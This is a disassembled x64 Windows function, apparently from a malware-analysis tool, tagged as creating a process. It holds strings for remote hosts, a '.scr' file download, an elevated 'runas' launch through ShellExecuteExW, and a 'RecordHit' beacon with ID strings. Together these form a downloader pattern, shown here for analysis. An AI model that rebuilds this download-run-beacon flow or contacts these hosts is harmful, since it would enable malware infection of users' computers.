Function at 0x140002159
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x310
lea rbp, [rsp + 0x80]
call fcn.14000d540
lea rax, [rbp + 0x1db]
mov qword [rbp + 0x280], rax
nop
nop
lea rdx, [rbp + 0x1db]
lea rax, [rbp + 0x1b0]
mov r8, rdx
lea rdx, str.master_repogen.vercel.app
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x1db]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x1dc]
mov qword [rbp + 0x278], rax
nop
nop
lea rdx, [rbp + 0x1dc]
lea rax, [rbp + 0x190]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_template_GetTemplateSchema_crumblgtype9
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x1dc]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x1dd]
mov qword [rbp + 0x270], rax
nop
nop
lea rdx, [rbp + 0x1dd]
lea rax, [rbp + 0x170]
mov r8, rdx
lea rdx, str.https
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x1dd]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x1de]
mov qword [rbp + 0x268], rax
nop
nop
lea rdx, [rbp + 0x1de]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str._file_server.scr
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x1de]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x1df]
mov qword [rbp + 0x260], rax
nop
nop
lea rdx, [rbp + 0x1df]
lea rax, [rbp + 0x130]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_census_RecordHit
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x1df]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.140001472
lea rax, [rbp + 0xf0]
lea rcx, [rbp + 0x110]
lea rdx, [rbp + 0x1b0]
mov r8, rcx
mov rcx, rax
call fcn.1400015f0
lea rax, [0x1400d944f]
mov rdx, rax
mov rax, qword [0x1400df470]
mov rcx, rax
call fcn.1400cf550
mov rcx, rax
lea rax, [rbp + 0xf0]
mov rdx, rax
call fcn.1400cf890
mov rcx, rax
mov rax, qword [0x1400df480]
mov rdx, rax
call fcn.140081060
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x170]
lea r8, [0x1400d9450]
mov rcx, rax
call fcn.1400cfd90
lea rax, [rbp + 0x1e0]
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.1400cfc80
lea rax, [rbp + 0xd0]
lea rcx, [rbp + 0x150]
lea rdx, [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call fcn.1400cfc80
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400b1a20
lea rax, str.dload:
mov rdx, rax
mov rax, qword [0x1400df470]
mov rcx, rax
call fcn.1400cf550
mov rcx, rax
lea rax, [rbp + 0xd0]
mov rdx, rax
call fcn.1400cf890
mov rcx, rax
mov rax, qword [0x1400df480]
mov rdx, rax
call fcn.140081060
lea rax, [rbp + 0x22a]
mov qword [rbp + 0x258], rax
nop
nop
lea rdx, [rbp + 0x22a]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str.ggc.exe
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x22a]
mov rcx, rax
call fcn.1400a1910
nop
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.140001860
test al, al
je 0x1400026fd
lea rax, [0x1400d9464]
mov rdx, rax
mov rax, qword [0x1400df470]
mov rcx, rax
call fcn.1400cf550
mov rcx, rax
mov rax, qword [0x1400df480]
mov rdx, rax
call fcn.140081060
lea rax, [rbp + 0x22b]
mov qword [rbp + 0x250], rax
nop
nop
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400ae9e0
mov rbx, rax
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400af000
mov rdx, rax
lea rcx, [rbp + 0x22b]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call fcn.1400b5610
lea rax, [rbp + 0x22b]
mov rcx, rax
call fcn.1400a1920
nop
lea rdx, [rbp + 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x40], 0x70
mov dword [rbp + 0x44], 0x40
lea rax, str.runas
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140030b10
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x70], 1
lea rax, [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExW]
call rax
test eax, eax
setne al
test al, al
je 0x140002549
mov rax, qword [rbp + 0xa8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x22c]
mov qword [rbp + 0x248], rax
nop
nop
lea rdx, [rbp + 0x22c]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_census_RecordHit
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x22c]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x22d]
mov qword [rbp + 0x240], rax
nop
nop
lea rdx, [rbp + 0x22d]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.5f23361984eded7c17b392e3
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x22d]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x22e]
mov qword [rbp + 0x238], rax
nop
nop
lea rdx, [rbp + 0x22e]
mov rax, rbp
mov r8, rdx
lea rdx, str.5c5a519771c10ba3470d8101
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x22e]
mov rcx, rax
call fcn.1400a1910
nop
lea rax, [rbp + 0x22f]
mov qword [rbp + 0x230], rax
nop
nop
lea rdx, [rbp + 0x22f]
lea rax, [rbp + 0x20]
mov r8, rdx
lea rdx, str.5f23363ac5ff9d7bfe7cea96
mov rcx, rax
call fcn.1400b0d30
lea rax, [rbp + 0x22f]
mov rcx, rax
call fcn.1400a1910
nop
lea r8, [rbp + 0x20]
mov rcx, rbp
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.140001aa4
mov byte [rbp + 0x28f], al
cmp byte [rbp + 0x28f], 0
je 0x140002695
lea rax, str.Success
mov rdx, rax
mov rax, qword [0x1400df470]
mov rcx, rax
call fcn.1400cf550
mov rcx, rax
mov rax, qword [0x1400df480]
mov rdx, rax
call fcn.140081060
jmp 0x1400026c0
lea rax, str.Fail
mov rdx, rax
mov rax, qword [0x1400df470]
mov rcx, rax
call fcn.1400cf550
mov rcx, rax
mov rax, qword [0x1400df480]
mov rdx, rax
call fcn.140081060
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400b1a20
mov rax, rbp
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400b6500
jmp 0x140002728
lea rax, str.Fail
mov rdx, rax
mov rax, qword [0x1400df470]
mov rcx, rax
call fcn.1400cf550
mov rcx, rax
mov rax, qword [0x1400df480]
mov rdx, rax
call fcn.140081060
mov ebx, 0
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.1400b1a20
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.1400b1a20
mov eax, ebx
jmp 0x1400029d6
add rsp, 0x310
pop rbx
pop rdi
pop rbp
ret